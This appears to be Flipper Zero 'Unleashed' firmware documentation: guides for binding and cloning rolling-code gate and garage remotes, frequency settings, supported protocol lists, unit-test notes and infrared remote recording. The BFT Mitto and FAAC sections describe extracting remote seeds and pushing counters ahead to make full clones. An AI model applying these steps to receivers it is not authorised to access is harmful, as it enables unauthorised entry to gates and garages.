2. Hold two buttons on the original master remote until led turns on
3. Click one button that you want to get seed from (Seed is unique for each button on original remote!)
4. You will get signal in the read screen on flipper, open that and see your original remote seed for button you used
5. You can create new remote using that seed and bind that to receiver without opening the box! Faac has procedure that allows to bind new remotes using master remote, you can use flipper for that
6. Go to SubGHz -> Add Manually -> FAAC SLH Man. (your Freq)
7. Enter those values -> REPLACE `R` with any random digits like 1,2,3..
FIX -> A0 RR RR R6
COUNTER -> 00 00 02
SEED -> Your seed from the remote button you got earlier
8. Flipper will act as new remote, press Send button couple times near the receiver to register new remote
9. Done!
## Dea Mio
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> Dea Mio 433Mhz
2. Open your new remote file
3. Right arrow button on the flipper simulates press of hidden button in original remote
4. Send button simulates one of basic buttons of the remote, can be programmed into the receiver
5. Follow manufacturer instructions on new remotes programming
## AN-Motors AT4
**This instruction for older boards, if your has no** `Learn` **button but has buttons** `F`, `CL`, `+`, `-` **read instruction from Alutech AT4N**
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> AN-Motors AT4 433Mhz
2. Open your new remote file
3. Open your receiver box, find button `Learn` click it one time, led will turn on.
4. Press `Send` on your flipper one time, led on receiver board will turn off.
5. Press `Send` on your flipper again, led on receiver will start flashing, wait couple seconds until led turns off.
6. Done
Watch this video to learn more (video in Russian language): https://www.youtube.com/watch?v=URVMtTELcnU
## Alutech AT4N (AN-Motors)
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> Alutech AT4N 433Mhz
2. Open your new remote file
3. Open your receiver box, find button `F` press it for ~3sec, display will show `Pr`.
4. Click `F` button couple times until you see `Lr` on screen
5. Using buttons `+` / `-` select free number that has no remotes in it (if it has remote programmed on that number, it will show a red dot on the down right corner)
6. Press `Send` on your flipper one time, display on receiver board will flash and red dot will appear next to remote number.
7. Press button `F` on receiver board for ~3sec to exit programming mode
8. Done
Watch this video to learn more and see how different boards can be programmed (video in Russian language): https://www.youtube.com/watch?v=XrOVVYhFXDg
## Aprimatic TR
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> KL: Aprimatic 433Mhz
2. Open your new remote file
3. Push all 4 buttons at same time on your existing remote thats already works with receiver
4. Receiver makes a continuous beep
5. Press `Send` on your flipper for ~2 seconds
6. Wait until receiver stops beeping
7. Done?
## Doorhan
With access to the receiver box:
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> KL: Doorhan 433Mhz or 315Mhz depends on your receiver (find out by reading your existing remote or follow guide below)
- Finding frequency
There are 2 frequencies for DoorHan: 315.00 / 433.92. To determine them it is enough to create a DoorHan remote control with one of the frequencies via Sub-GHz -> Add manually, press the button and watch the receiver's reaction. If you have guessed the frequency, the light bulb will turn on when we press the button on the FZ and turn off when we release it.
2. Binding the remote control
Once you have access to the receiver (removed the protective cover), look at the buttons:
- If there are 4 buttons (Radio, Reverse, Auto, ...) then press and hold Radio until the LED lights up, then press the FZ button 2 times and the LED goes out;
- If there are 4 buttons (R, P, +, -) and display, press R, then press 2 times the button on FZ and wait +/- 10 seconds;
- If there are 4 buttons (+, -, F, TR) and display, press TR, then press 2 times the button on FZ and wait +/- 10 seconds;
- In other cases there is a “universal” instruction: Press and hold the button “P” +/- 2 seconds until the LED flashes, then press 2 times the button on the FZ and the LED goes out.
In all cases it is recommended to wait until the receiver returns to normal mode.
With existing remote:
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> KL: Doorhan 433Mhz or 315Mhz depends on your receiver (find out by reading your existing remote)
2. Open your new remote file
3. For next steps be close to the receiver board, around 1-2 meters
4. Press second button (lowest one) on the old remote, do not release second button and press 1st (upper) button, hold buttons for 1 sec and release them
5. Press working button on the old remote (the button you use for operating the receiver, aka opening the gate, etc) hold for 1 sec and release
6. Actions with old remote must be done in 5 seconds time, do not hold buttons for too long, and do not make it very fast
7. Receiver will beep, you will have 10 seconds to add new remote, now press Send on new remote on flipper two times holding for at least 1 sec
8. Receiver will beep again telling that new remote is added sucessfuly!
9. Done!
With copy of existing remote on flipper:
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> KL: Doorhan 433Mhz or 315Mhz depends on your receiver (find out by reading your existing remote)
2. Open your existing remote (original) file
3. For next steps be close to the receiver board, around 1-2 meters
4. Press left button (0x8) on the flipper, hold for 1 sec and release the button and press right (0xA) button, hold button for 1 sec and release
5. Press working button on the flipper, should be center one aka Send (the button you use for operating the receiver, aka opening the gate, etc) hold for 1 sec and release
6. Actions with original remote copy must be done in 5 seconds time, do not hold buttons for too long, and do not make it very fast
7. Receiver will beep, now hold back and open new remote file, you will have 10 seconds to add new remote, press Send on new remote on flipper two times holding for at least 1 sec
8. Receiver will beep again telling that new remote is added sucessfuly!
9. Done!
Watch this videos to learn more (videos in Russian language): https://www.youtube.com/watch?v=wZ5121HYv50 / https://www.youtube.com/watch?v=1ucrDKF3vWc
## Somfy Telis
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> Somfy Telis 433Mhz
2. Open your new remote file
3. Long press (hold) the Prog button on a remote that is already registered to the device, until the blinds move shortly up and down.
4. Press and hold the Prog button on the flipper (Left Arrow), until the blinds move shortly up and down again.
5. Done?
## BFT Mitto
How to create new remote and bind it to receiver (will not conflict with original remotes):
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> BFT Mitto 433Mhz
2. Open your new remote file
3. You need to be in minimum 3 meters to receiver
4. Original Remote: Press hidden button on back of remote with a pin or paper clip OR press Button 1 & 2 together until remote LED lights.
5. Original Remote: Momentarily press button that opens device
6. Long press (Right Arrow) - (0xF button - Btn:F) on Flipper for like 3-5 sec
7. Press the button you want to bind to open the device on the flipper
8. Press (Right Arrow) - (0xF button - Btn:F) again
9. Done?
OR
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> BFT Mitto 433Mhz
2. Open your new remote file
3. Open your receiver board box
4. **Watch this video**: https://www.youtube.com/watch?v=5QXMBKI_-Ls
5. Long press (Right Arrow) - (0xF button - Btn:F) on Flipper for like 3-5 sec -> Will act like holding Button 1 & 2 on original remote as shown on video
6. Done?
--
How to get seed to make full clone of your remote (**will conflict with original remote!!!!!**):
**WARNING!!!! This method can desync your original remote, please avoid using it! It can be used in rare cases like when your remote works poorly or has broken buttons and you want to replace it with flipper**
1. Open `Read` in SubGHz on your flipper
2. (ONLY FOR ORIGINAL REMOTES) Hold all buttons on your remote at same time, example -> for 2 button remote - press them both at same time and hold OR press hidden button on back of remote with a pin or paper clip
For 4 buttons remote press & hold two buttons at upper row
3. You will receive signal on your flipper, open that signal and see `Fix:` value, it should start from `F` like `F00F1C9B`
4. If `Fix:` is showing first `F` see `Hop:` value -> This is your remote Seed (except first digit `F` (this is the button code, aka programming button pressed means `F`))
5. Write down Hop value and replace first digit - `F` with `0`
6. Press button on your remote that you want to clone and receive its signal on your flipper
7. Open and write down `Fix:` value where first digit will be same as your button ID `Btn:`
8. Create new remote using BFT Mitto [Manual] - Enter FIX from step 7, enter counter `FF F9`, enter seed from step 5
9. Using counter values like `FF F9` can help bypassing current original remote counter value, and in result it also can fully desync original remote, only one remote can work at same time using this method
10. Also you can do this: Save your signal of the original remote (will say KL: Unknown),
then copy file to the PC and edit it and insert/replace those values after the `Key: 01 23 45 67 89 AB CD EF` (your key will have different value)
```
Seed: 0X XX XX XX
Manufacture: BFT
```
Replace `X`'s with digits from your Seed that you obtained by reading two button hold at the first steps,
Save and copy that file back to the flipper
Now you will have exact clone of your remote that will have same counter, by making couple presses you will make it higher than original and receiver will work with it, but original remote will reguire same amount of presses to work again, and vice versa.
11. Also your original remote may become non working since it needs to be re-added into receiver board if you made counter much higher than original :C
## CAME Atomo
Known names are: TOP42R / TOP44R - TOP44RGR (806TS-0130)
How to create new remote and bind it to receiver (will not conflict with original remotes):
With original remote (or copy of the original remote):
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> CAME Atomo 433MHz or 868MHz
2. Open your new remote file
3. You need to be in minimum 3 meters to receiver
4. Original Remote: Press and hold button that is bound with that receiver (the one you use with it), and hold it for about 10 seconds.
5. You will have about 20 seconds to add new remote
6. Long press Send on Flipper in new remote for like 3-4 sec and release - this will add new remote to the receiver
7. Press and hold Send again after waiting 20 seconds - this will trigger the receiver
8. Done, when using CAME Atomo from flipper please hold Send button for at least 2 seconds to allow code to be fully transmit, flipper transmits only while button is held
Note: Static 24/12 bit or TWEE remotes cannot trigger programming mode in the receiver and cannot be bound if programming mode was triggered by Atomo type remote, only Atomo remotes can be added if remote programming was done by Atomo remote, Static remotes have option to clone from one remote to another, but it requires first remote to be added to the receiver via button on the receiver board
With access to receiver box:
1. Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> CAME Atomo 433MHz or 868MHz
2. Open your new remote file
3. Open the receiver box and find programming button related to the used channel, for example RE432M/RE862M receiver has two independent channels which can have different remotes / buttons on them, when you found connected channel press "1" or "2" button on the receiver board to enter programming mode
4. Long press Send on Flipper new remote for like 3-4 sec and release - this will add new remote to the receiver
5. Click CLEAR button one time on the receiver board to exit programming mode, or wait about 20 seconds it will exit from programming mode automatically
6. Done, when using CAME Atomo from flipper please hold Send button for at least 2 seconds to allow code to be fully transmit, flipper transmits only while button is held
Watch this video to learn more (video in Russian language): https://www.youtube.com/watch?v=XeHUwfcSS30
## Nice Flor S
- Create new remote with randomly generated serial: Go to SubGHz -> Add Manually -> Nice FloR-S 433Mhz
- Open your new remote file
### Coding using an existing remote
To enter the code of a new remote control without using your receiver, you will need
an authorised remote control (note: the first remote control must always be entered
using the receiver key). Now, with the two remote controls (your already coded
remote, and your new remote), which we shall call NEW (the one whose code we want
to enter) and OLD (the authorised one), position yourself within 3m of the gate/garage
receiver and then:
1. Press and hold the `Send` button on the flipper for at least 5 seconds and then
release.
2. Press the button on the already programmed remote 3 times slowly.
3. Press the `Send` button on the flipper slowly and then release.
### Coding directly to your receiver
Your new remote will program to your receiver as per your original remote
instructions, so please refer to your manual. But for a typical NICE FLOX2R Receiver,
the programming procedure is as follows:
1. Press the learning button on your receiver for 1-2 seconds. The LED will turn on
for 5 seconds. Within 5 seconds, complete the next step.
2. Press a `Send` button on your flipper until the LED on your receiver turns off.
3. Release the remote button and wait for 2 seconds.
4. Press the `Send` button on your flipper again. The LED on your receiver
will now flash 3 times. This indicates that your remote has been successfully
coded. If this does not happen, repeat the whole procedure from the
beginning, and try again.
5. Wait 5 seconds. Press the button on your new remote to test if it opens your
garage/gate.
#### Follow links below to find more detailed instructions!!!
#### Materials used:
- [FAAC SLH](https://www.youtube.com/watch?v=NfZmMy37XUs)
- [Somfy Telis](https://pushstack.wordpress.com/somfy-rts-protocol/)
- [BFT Mitto](https://www.retroremotes.com.au/wp-content/uploads/2017/03/BFT-MITTO-2-4-19-6-17.pdf)
- [NICE FLOX2R Receiver Programming](https://apollogateopeners.com/store/pdf/apollo-flor-s-receiver-programming-guide.pdf)
- [Nice Flor S Programming](https://motepro.com.au/Instructions/Nice.pdf)

View File

@@ -1,110 +0,0 @@
## How to add new SubGHz frequencies
#### CC1101 Frequency range specs: 300-348 MHz, 386-464 MHz, and 778-928 MHz (+ 350MHz and 467MHz was added to default range)
Edit user settings file located on your microSD card - `subghz/assets/setting_user` (remove .example from name to use config)
in this file you will find we already have extra frequencies added
if you need your custom one, make sure it doesn't listed here
### Default frequency list
```
/* 300 - 348 */
300000000,
302757000,
303000000,
303875000,
303900000,
304250000,
307000000,
307500000,
307800000,
309000000,
310000000,
312000000,
312100000,
312200000,
313000000,
313850000,
314000000,
314350000,
314980000,
315000000,
318000000,
320000000,
320150000,
330000000,
345000000,
348000000,
350000000,
/* 387 - 464 */
387000000,
390000000,
418000000,
430000000,
430500000,
431000000,
431500000,
433075000, /* LPD433 first */
433220000,
433420000,
433657070,
433889000,
433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */
434075000,
434176948,
434190000,
434390000,
434420000,
434620000,
434775000, /* LPD433 last channels */
438900000,
440175000,
462750000,
464000000,
467750000,
/* 779 - 928 */
779000000,
868350000,
868400000,
868460000,
868800000,
868950000,
906400000,
915000000,
925000000,
928000000,
```
### User frequencies added AFTER that default list! You need to continue until you reach the end of that list
### If you want to disable default list and use ONLY user added frequencies from user settings file
Change that line
`#Add_standard_frequencies: true`
to
`Add_standard_frequencies: false`
**You need to have custom frequencies added in both lists! in main frequency list and in hopping list! Replacing only hopping freqs will not work with that setting set on false, you need to add something in main list since it will be empty**
### To add your own frequency to user list
Just add new line
`Frequency: 928000000` - where `928000000` is your frequency, keep it in that format! it should be 9 digits!
### Hopper frequency list
To add new frequency to hopper:
add new line `Hopper_frequency: 345000000`<br>
But remember! You should keep it as small as possible, or hopper functionality would be useless!<br>
If `#Add_standard_frequencies: true` is not changed<br>
Your frequencies will be added after default ones
### Default hopper list
```
315000000,
390000000,
430500000,
433920000,
434420000,
868350000,
```

View File

@@ -1,180 +0,0 @@
# Sub-GHz Supported Protocols
This file lists all supported Sub-GHz protocols available in Unleashed Firmware, both tested and untested.
That list is only for default SubGHz app, apps like *Weather Station* have their own protocols list
## Static & Dynamic protocols list
*433 MHz usually means `433.92MHz` and 868 MHz = `868.35MHz`*
*If you see no frequency after protocol name, that means we don't know it, let us know in issues tab!*
*`AM650`, `FM`, `FSK476` - means modulation to use when reading the remote*
*`FM` means you should try any existing FM modulations, `FSK???` means `FM???` in SubGHz - Read - Config*
### Garage Door Openers & Gate Openers (Boom barriers, roller shutters, etc.)
- Alutech AT-4N `433.92MHz` `AM650` (72 bits, Dynamic)
- AN-Motors (Alutech) AT4 `433.92MHz` `AM650` (64 bits, Pseudo-Dynamic, KeeLoq based)
- Ansonic `433MHz` `FM` (12 bits, Static)
- BETT `433.92MHz` `AM650` (18 bits, Static)
- Beninca ARC (TOGO2VA) `433.92MHz` `AM650` (128 bits, Dynamic AES) (button code `0` emulates `hidden button` option on the remote)
- BFT Mitto `433.92MHz` `AM650` (64 bits, Dynamic, KeeLoq based with Seed)
- CAME Atomo `433.92MHz, 868MHz` `AM650` (62 bits, Dynamic)
- CAME TWEE `433.92MHz` `AM650` (54 bits, Static)
- CAME `433.92MHz, 868MHz` `AM650` (12, 24 bits, Static)
- Prastel `433.92MHz, 868MHz` `AM650` (25, 42 bits, Static)
- Airforce `433.92MHz, 868MHz` `AM650` (18 bits, Static)
- Chamberlain Code `AM650` (10 bits, Static)
- Clemsa `AM650` (18 bits, Static)
- Dickert MAHS `AM650` (36 bits, Static)
- Doitrand `AM650` (37 bits, Dynamic)
- Elplast/P-11B/3BK/E.C.A `433MHz` `AM650` (18 bits, Static)
- FAAC SLH `433.92MHz, 868MHz` `AM650` (64 bits, Dynamic)
- Gate TX `433.92MHz` `AM650` (64 bits, Static)
- Hormann `868MHz` `AM650` (44 bits, Static)
- HCS101 `AM650` (64 bits, Simple Dynamic, KeeLoq-like)
- IDO `433MHz` `AM650` (48 bits, Dynamic)
- KingGates Stylo 4k `433.92MHz` `AM650` (89 bits, Dynamic, KeeLoq based)
- Mastercode `AM650` (36 bits, Static)
- Megacode `AM650` (24 bits, Static)
- Nero Sketch `AM650` (40 bits, Static)
- Nice Flo `433.92MHz` `AM650` (12, 24 bits, Static)
- Nice FloR-S `433.92MHz` `AM650` (52 bits, Dynamic)
- Nice One `433.92MHz` `AM650` (72 bits, Dynamic)
- Revers RB2 (Реверс РБ-2 (М)) `433.92MHz` `AM650` (64 bits, Static)
- Roger `433.92MHz` `AM650` (28 bits, Static)
- V2 Phoenix (Phox) `433.92MHz` `AM650` (52 bits, Dynamic) (receivers have option to enable Static mode, making them ignore rolling part of the key)
- Marantec `433.92MHz, 868MHz` `AM650` (49 bits, Static)
- Marantec24 `868MHz` `AM650` (24 bits, Static)
- Somfy Keytis `433.92MHz, 868MHz` `AM650` (80 bits, Dynamic)
- ZKTeco `430.5MHz` `AM650` (24 bits, Static - Princeton based) - (Button codes (already mapped to arrow keys): `0x30 (UP)`, `0x03 (STOP)`, `0x0C (DOWN)`)
- Linear `300MHz` `AM650` (10 bits, Static)
- Linear Delta3 `AM650` (8 bits, Static)
- Nero Radio `434.42MHz` `AM650` (56 bits, Static mode only, Dynamic is unsupported)
- Security+1.0 `315MHz, 433.92MHz, 390MHz` `AM650` (42 bits, Dynamic)
- Security+2.0 `310MHz, 390MHz, 868MHz` `AM650` (62 bits, Dynamic)
### Sensors & Smart home
- Intertechno V3 `AM650` (32 bits, Static) - Lights, sockets, other.
- Dooya `AM650` (40 bits, Static) - Electric blinds
- Power Smart `AM650` (64 bits, Static) - Blinds, shutters
- Legrand `AM650` (18 bits, Static) - Doorbells
- Somfy Telis `433.92MHz` `AM650` (56 bits, Dynamic)
- Feron `433.92MHz` `AM650` (32 bits, Static) - RGB LED remotes, other.
- Honeywell `AM650` (64 bits, Static) - Alarm, Sensor
- Honeywell WDB `AM650` (48 bits, Static) - Doorbell
- Magellan `433.92MHz` `AM650` (32 bits, Static) - Sensor, alarm
- Jarolift `433.92MHz` `AM650` (72 bits, Dynamic, KeeLoq based) - Automatic roller shutters
### Alarms
- Hollarm `433.92MHz` `AM650` (42 bits, Static) - Bike alarms
- GangQi `433.92MHz` `AM650` (34 bits, Static) - Bike alarms
### Generic any branded remotes
- Holtek `AM650` (40 bits, Static)
- Holtek HT12X `AM650` (12 bits, Static)
- Princeton (PT2262, PT****) `315MHz, 433.92MHz, Any other frequency` `AM650` (24 bits, Static)
- SMC5326 `315MHz, 433.92MHz, Any other frequency` `AM650` (25 bits, Static)
- Hay21 `433.92MHz` `AM650` (21 bits, Dynamic)
- Treadmill37 (QH-433) `433.92MHz` `AM650` (37 bits, Static)
---
## KeeLoq Rolling Code Supported Manufacturers list
KeeLoq is a rolling code encryption system used by many garage door openers and gate systems.
The following manufacturers have KeeLoq support in Unleashed firmware:
*Default value for encryption type "learning" is `simple` and `10bits` for serial part in Hop*
*In case if remote uses other serial bits or different encryption type and it was verified - it will be stated in the end*
### Garage Door Openers & Gate Openers (Boom barriers, roller shutters, etc.)
- Allmatic - `868MHz` `AM650` (KeeLoq, 64 bits) (no serial part in Hop - magic XOR)
- Aprimatic - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial number art in Hop + 2bit "parity" in front of it replacing first 2 bits of serial)
- Beninca - `433.92MHz, 868MHz` `AM650` (KeeLoq, 64 bits) (no serial part in Hop - magic XOR)
- CAME Space - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - simple learning)
- Cardin S449 - `433.92MHz` `FSK12K` (KeeLoq, 64 bits) (12bit (original remotes) or 10bit (chinese remotes) serial part in Hop - normal learning) (receiver checks for 10bit only (unverified))
- Centurion - `433.92MHz` `AM650` (KeeLoq, 64 bits) (no serial in Hop, uses fixed value 0x1CE - normal learning)
- Comunello - `433.92MHz, 868MHz` `AM650` (KeeLoq, 64 bits) (normal learning)
- DEA Mio - `433.92MHz` `AM650` (KeeLoq, 64 bits) (modified serial in Hop, uses last 3 digits modifying first one (example - 419 -> C19) - simple learning)
- DoorHan - 315MHz, `433.92MHz` `AM650` (KeeLoq, 64 bits)
- DTM Neo - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - simple learning)
- Elmes Poland - `433.92MHz` `AM650` (KeeLoq, 64 bits) (normal learning)
- FAAC RC,XT - `433.92MHz, 868MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning)
- Genius Bravo - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning)
- Gibidi - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- GSN - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning)
- Hormann EcoStar - `433.92MHz` `AM650` (KeeLoq, 64 bits) (normal learning)
- IronLogic IL-100 - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- IronLogic IL-100 Smart PPult - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- JCM Tech - `433.92MHz` `AM650` (KeeLoq, 64 bits) (8bit serial part in Hop - simple learning)
- Jolly Motors - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- KEY (KeeLoq, 64 bits)
- Monarch - `433.92MHz` `AM650` (KeeLoq, 64 bits) (no serial in Hop, uses fixed value 0x100 - normal learning)
- Motorline - `433.92MHz` `AM650` (KeeLoq, 64 bits) (normal learning)
- Mutanco/Mutancode (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning)
- Mhouse - `433.92MHz` `AM650` (KeeLoq, 64 bits) (8bit serial part in Hop - simple learning)
- Nice Smilo - `433.92MHz` `AM650` (KeeLoq, 64 bits) (8bit serial part in Hop - simple learning)
- Normstahl - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- Novoferm - `433.92MHz` `AM650` (KeeLoq, 64 bits)
- Sommer `434.42MHz, 868.80MHz` `FSK12K (or FSK476)` (KeeLoq, 64 bits) (normal learning) (TX03-868-4, Pearl, and maybe other models are supported (SOMloq))
- Steelmate - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning)
- Stilmatic (R-Tech) - `433.92MHz` `AM650` (KeeLoq, 64 bits) (12bit serial part in Hop - normal learning) (receiver checks for 10bit only (unverified))
### Alarms, unknown origin, etc.
- APS-1100/APS-2550 (KeeLoq, 64 bits)
- Alligator (KeeLoq, 64 bits)
- Alligator S-275 (KeeLoq, 64 bits)
- Cenmax (KeeLoq, 64 bits)
- Cenmax St-5 (KeeLoq, 64 bits)
- Cenmax St-7 (KeeLoq, 64 bits)
- Faraon (KeeLoq, 64 bits)
- Guard RF-311A (KeeLoq, 64 bits) (normal learning)
- Harpoon (KeeLoq, 64 bits)
- KGB/Subaru (KeeLoq, 64 bits) (magic serial type 1)
- Leopard (KeeLoq, 64 bits)
- Magic 1 (KeeLoq, 64 bits) (magic serial type 2)
- Magic 2 (KeeLoq, 64 bits) (magic serial type 2)
- Magic 3 (KeeLoq, 64 bits) (magic serial type 3)
- Magic 4 (KeeLoq, 64 bits) (magic serial type 3)
- Merlin (KeeLoq, 64 bits) (no serial part in Hop - simple XOR)
- Mongoose (KeeLoq, 64 bits) (normal learning)
- Pantera (KeeLoq, 64 bits)
- Pantera CLK (KeeLoq, 64 bits)
- Pantera XS/Jaguar (KeeLoq, 64 bits)
- Partisan RX (KeeLoq, 64 bits)
- Pecinin (KeeLoq, 64 bits) (12bit serial part in Hop - simple learning)
- Reff (KeeLoq, 64 bits)
- Rossi (KeeLoq, 64 bits) (12bit serial part in Hop - simple learning)
- Rosh (KeeLoq, 64 bits) (12bit serial part in Hop - simple learning)
- Sheriff (KeeLoq, 64 bits)
- SL A2-A4 (KeeLoq, 64 bits)
- SL A6-A9/Tomahawk 9010 (KeeLoq, 64 bits)
- SL B6,B9 dop (KeeLoq, 64 bits)
- Teco (KeeLoq, 64 bits)
- Tomahawk TZ-9030 (KeeLoq, 64 bits)
- Tomahawk Z,X 3-5 (KeeLoq, 64 bits)
- ZX-730-750-1055 (KeeLoq, 64 bits)
*Note: Most KeeLoq manufacturers operate in the 433 MHz and 868 MHz frequency bands with AM650 modulation. Some operate at other frequencies or modulations. Not all KeeLoq systems are supported for full decoding or emulation.*
---
## Protocol Type Reference
Unleashed firmware supports various protocol types:
- **Static Code**: Fixed transmission codes (e.g., Roger, Princeton, Marantec, Revers RB2)
- **Rolling Code (Dynamic) (KeeLoq)**: Dynamic codes with rolling counter using KeeLoq encryption (60+ manufacturer systems supported)
- **Rolling Code (Dynamic)**: Other dynamic systems with custom encoding (e.g., CAME Atomo, Nice Flor S, Somfy Telis, FAAC SLH, Alutech AT-4N, Security+)
For more information on how to use some of these protocols, see also [SubGHzRemoteProg.md](/documentation/SubGHzRemoteProg.md) and the main [ReadMe.md](/ReadMe.md).
---
*Docs made for Unleashed FW, please mention source when copying*

View File

@@ -1,64 +0,0 @@
# Unit tests {#unit_tests}
## Intro
Unit tests are special pieces of code that apply known inputs to the feature code and check the results to see if they are correct.
They are crucial for writing robust, bug-free code.
Flipper Zero firmware includes a separate app called [unit_tests](https://github.com/flipperdevices/flipperzero-firmware/tree/dev/applications/debug/unit_tests).
It is run directly on Flipper devices in order to employ their hardware features and rule out any platform-related differences.
When contributing code to the Flipper Zero firmware, it is highly desirable to supply unit tests along with the proposed features.
Running existing unit tests is useful to ensure that the new code doesn't introduce any regressions.
## Running unit tests
To run the unit tests, follow these steps:
1. Compile the firmware with the tests enabled: `./fbt FIRMWARE_APP_SET=unit_tests updater_package`.
2. Flash the firmware using your preferred method, including SD card resources (`build/latest/resources`).
3. Launch the CLI session and run the `unit_tests` command.
**NOTE:** To run a particular test (and skip all others), specify its name as the command argument.
Test names match application names defined [here](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/debug/unit_tests/application.fam).
## Adding unit tests
### General
#### Entry point
The common entry point for all tests is the [unit_tests](https://github.com/flipperdevices/flipperzero-firmware/tree/dev/applications/debug/unit_tests) app. Test-specific code is packaged as a `PLUGIN` app placed in a subdirectory of `tests` in the `unit_tests` mother-app and referenced in the common `application.fam`. Look at other tests for an example.
#### Test assets
Some unit tests require external data in order to function. These files (commonly called assets) reside in the [unit_tests](https://github.com/flipperdevices/flipperzero-firmware/tree/dev/applications/debug/unit_tests/resources/unit_tests) directory in their respective subdirectories. Asset files can be of any type (plain text, FlipperFormat (FFF), binary, etc.).
### App-specific
#### Infrared
Each infrared protocol has a corresponding set of unit tests, so it makes sense to implement one when adding support for a new protocol.
To add unit tests for your protocol, follow these steps:
1. Create a file named `test_<your_protocol_name>.irtest` in the [assets](https://github.com/flipperdevices/flipperzero-firmware/tree/dev/applications/debug/unit_tests/resources/unit_tests/infrared) directory.
2. Fill it with the test data (more on it below).
3. Add the test code to [infrared_test.c](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/debug/unit_tests/tests/infrared/infrared_test.c).
4. Build and install firmware with resources, install it on your Flipper and run the tests to see if they pass.
##### Test data format
Each unit test has three sections:
1. `decoder` — takes in a raw signal and outputs decoded messages.
2. `encoder` — takes in decoded messages and outputs a raw signal.
3. `encoder_decoder` — takes in decoded messages, turns them into a raw signal, and then decodes again.
Infrared test asset files have an `.irtest` extension and are regular `.ir` files with a few additions.
Decoder input data has signal names `decoder_input_N`, where N is a test sequence number. Expected data goes under the name `decoder_expected_N`. When testing the encoder, these two are switched.
Decoded data is represented in arrays (since a single raw signal may be decoded into several messages). If there is only one signal, then it has to be an array of size 1. Use the existing files as syntax examples.
##### Getting raw signals
Recording raw IR signals is possible using Flipper Zero. Launch the CLI session, run `ir rx raw`, then point the remote towards the Flipper's receiver and send the signals. The raw signal data will be printed to the console in a convenient format.

View File

@@ -1,76 +0,0 @@
# Universal Remotes {#universal_remotes}
## Televisions
Adding your TV set to the universal remote is quite straightforward. Up to 6 signals can be recorded: `Power`, `Mute`, `Vol_up`, `Vol_dn`, `Ch_next`, and `Ch_prev`. Any of them can be omitted if not supported by your TV.
Each signal is recorded using the following algorithm:
1. Get the remote and point it to Flipper's IR receiver.
2. Start learning a new remote if it's the first button or press `+` to add a new button otherwise.
3. Press a remote button and save it under a corresponding name.
4. Repeat steps 2-3 until all required signals are saved.
The signal names are self-explanatory. Remember to make sure that every recorded signal does what it's supposed to.
If everything checks out, append these signals **to the end** of the [TV universal remote file](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/main/infrared/resources/infrared/assets/tv.ir).
## Audio players
Adding your audio player to the universal remote is done in the same manner as described above. Up to 8 signals can be recorded: `Power`, `Play`, `Pause`, `Vol_up`, `Vol_dn`, `Next`, `Prev`, and `Mute`. Any of them can be omitted if not supported by the player.
The signal names are self-explanatory.
On many remotes, the `Play` button doubles as `Pause`. In this case, record it as `Play` omitting the `Pause`.
Make sure that every signal does what it's supposed to.
If everything checks out, append these signals **to the end** of the [audio player universal remote file](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/main/infrared/resources/infrared/assets/audio.ir).
## Projectors
Adding your projector to the universal remote is really simple. Up to 4 signals can be recorded: `Power`, `Mute`, `Vol_up`, `Vol_dn`. Any of them can be omitted if not supported by your projector.
To save time, please make sure every recording has been named accordingly.
In case of omitting, on most projectors with the 4 following buttons, you should not have a problem.
## Air conditioners
Air conditioners differ from most other infrared-controlled devices because their state is tracked by the remote.
The majority of A/C remotes have a small display that shows the current mode, temperature, and other settings.
When the user presses a button, a whole set of parameters is transmitted to the device, which must be recorded and used as a whole.
In order to add a particular air conditioner to the universal remote, 6 signals must be recorded: `Off`, `Dh`, `Cool_hi`, `Cool_lo`, `Heat_hi`, and `Heat_lo`.
Each signal (except `Off`) is recorded using the following algorithm:
1. Get the remote and press the **POWER** button so that the display shows that A/C is ON.
2. Set the A/C to the corresponding mode (see table below), leaving other parameters such as fan speed or vane on **AUTO** (if applicable).
3. Press the **POWER** button to switch the A/C off.
4. Start learning a new remote on Flipper if it's the first button or press `+` to add a new button otherwise.
5. Point the remote to Flipper's IR receiver as directed and press the **POWER** button once again.
6. Save the resulting signal under the specified name.
7. Repeat steps 2-6 for each signal from the table below.
| Signal | Mode | Temperature | Note |
| :-----: | :--------: | :---------: | ----------------------------------- |
| Dh | Dehumidify | N/A | |
| Cool_hi | Cooling | See note | Lowest temperature in cooling mode |
| Cool_lo | Cooling | 23°C | |
| Heat_hi | Heating | See note | Highest temperature in heating mode |
| Heat_lo | Heating | 23°C | |
Finally, record the `Off` signal:
1. Make sure the display shows that the A/C is ON.
2. Start learning a new signal on Flipper and point the remote towards the IR receiver.
3. Press the **POWER** button so that the remote shows the OFF state.
4. Save the resulting signal under the name `Off`.
The resulting remote file should now contain 6 signals. You can omit any of them, but you then won't be able to use their functionality.
Test the file against the actual device. Make sure that every signal does what it's supposed to.
